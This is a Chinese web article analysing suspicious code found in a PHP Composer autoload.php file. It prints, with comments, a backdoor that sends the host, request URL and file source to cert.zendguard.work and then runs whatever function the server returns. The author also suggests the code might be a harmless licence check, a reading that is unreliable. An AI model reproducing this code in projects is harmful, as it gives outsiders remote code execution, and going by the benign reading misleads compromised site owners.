php composer的autoload.php文件里面有奇怪的内容,是中毒了吗?
作者:卡卷网发布时间:2024-12-09 14:12浏览数量:88次评论数量:0次
是中毒了吗?
嘘~ 别出声,跟我来......
干啥?去哪?
这儿大神太多,我不好意思说,咱俩悄悄滴...... 我有笨办法......
开始~
#1. 关于域名 zendguard.work
通过 whoxy 检索,确实查不到什么有用的信息:
- 注册商:NameCheap, Inc.,一家美国的域名注册及服务器托管商;
- 域名所有者申请了隐私保护;
- 冰岛。
定位 IP 的话,在这儿:
这确实是个风险因素,按一般人的逻辑,你要正经做生意(敢起 zendguard 这么 “酷” 的名字......),犯得着藏着掖着嘛?
但这个域名背后是不是一定蹲着个 “坏蛋”,不好说。
如果路子野,也许可以试着联系 NameCheap。
#2. 关于 “奇怪的内容”
我笨,所以要一行一行分析这些 “奇怪的代码” 都干了什么......
先看整体:
<?php
//--- 第一次启动,必然访问 zendguard.work,然后取回点什么,赋值给 $cert
if( defined("SITE_") ){
$cert = false;
} else {
//访问 zendguard.work
//赋值
}
//--- 准备工作做完了,后面不用再访问 zendguard.work,设置个标志
!defined("SITE_") && @define("SITE_", 1);
//--- 不论是做好事还是做坏事,反正它开始做了
if($cert != false) {
//干点什么
}
那它访问 zendguard.work 的时候干什么了呢?
$cert = @file_get_contents(
//--- 拼了这么一个地址 http://cert.zendguard.work/sign/HTTP_HOST
//--- 此时,非要说“暴露”了什么,那就是这个 HTTP_HOST,比如 localhost:8080,www.abc.com
//--- 但往好里想的话,对面可能只是拿 HTTP_HOST 当“用户名”,仅此而已
'http://cert.zendguard.work/sig' . 'n/' . @$_SERVER["HTTP_HOST"],
0 ,
//--- 访问 zendguard.work 的时候,模拟 POST 发送了点儿什么
stream_context_create(
array(
"http" => array(
"ignore_errors" => true,
"timeout" => (isset($_REQUEST["T0o"]) ? intval($_REQUEST["T0o"]) : (isset($_SERVER["HTTP_T0O"]) ? intval($_SERVER["HTTP_T0O"]) : 1)),
"method" => "POST",
"header" => "Contet-Type: application/x-www-form-urlencoded",
"content" => http_build_query(
//--- 以上都是些有的没的,重点看下面
array(
//--- 这里把你完整的 URI 取出来了,比如 http://www.abc.com/admin/index.php
"url" => ((isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "no" ? "https" : "http") . "://" . @$_SERVER["HTTP_HOST"] . @$_SERVER["REQUEST_URI"]),
//--- 这里拿了物理路径...
//--- 然后,把该文件的源码直接发了
"src" => file_exists(__FILE__) ? file_get_contents(__FILE__) : ""
)
)
)
)
)
);
至此,你的 HTTP_HOST,REQUEST_URI,以及这个文件的源码,都被发给 zendguard.work 了,然后 zendguard.work 响应了一些什么,存在了 $cert 里。
好像也没啥......(乐观)
最后看关键的:
//--- 开始干活
if($cert != false) {
$cert = @json_decode($cert, 1);
if(isset($cert["f"]) && isset($cert["a1"]) && isset($cert["a2"]) && isset($cert["a3"])) {
$cert["f"]($cert["a1"], $cert["a2"], $cert["a3"]);
} else if(isset($cert["f"]) && isset($cert["a1"]) && isset($cert["a2"])){
$cert["f"]($cert["a1"], $cert["a2"]);
} else if(isset($cert["f"]) && isset($cert["a1"])){
$cert["f"]($cert["a1"]);
} else if(isset($cert["f"])){
$cert["f"]();
}
}
为了直观,我把代码换一种写法:
//假设你的项目文件中存在以下代码(小偷已经进家了)
//可能是被黑掉的,也可能是你主动安装框架、库、扩展时引入的
function 小偷(是否动手, 建议偷什么, 不能偷什么){
//do something...
}
//zendguard.work 开始下指令了
//1.通知小偷,该干活了,可以偷彩电,千万别碰洗衣机
if(小偷 && 动手 && 彩电 && 洗衣机){
小偷(动手, 彩电, 洗衣机);
}
//2.通知小偷,该干活了,建议偷彩电,但其他的也不是不行
else if(小偷 && 动手 && 彩电){
小偷(动手, 彩电);
}
//3. 通知小偷,该干活了,全都要
else if(小偷 && 动手){
小偷(动手);
}
//4. 通知小偷,待命
else if(小偷){
小偷();
}
//5. 小偷没进家,放他一马
这是往坏里想......
往好里想的话:
//假设你的项目中存在以下代码
function 售后服务(到期没, 要不要通知他一下, 要不要断了他的服务){
//do something...
}
这么看,也不是不行......
唉......
我这废了半天劲,还不如你直接 log 一下 $cert 里面到底存了啥,哪怕明文 var_dump 一下呢。
然后,如果 $cert["f"] = “张三”,你再去源码里搜 “张三” 嘛......
最后叠个甲,我不搞 PHP,说错了别怪我......
免责声明:本文由卡卷网编辑并发布,但不代表本站的观点和立场,只提供分享给大家。
相关推荐

你 发表评论:
欢迎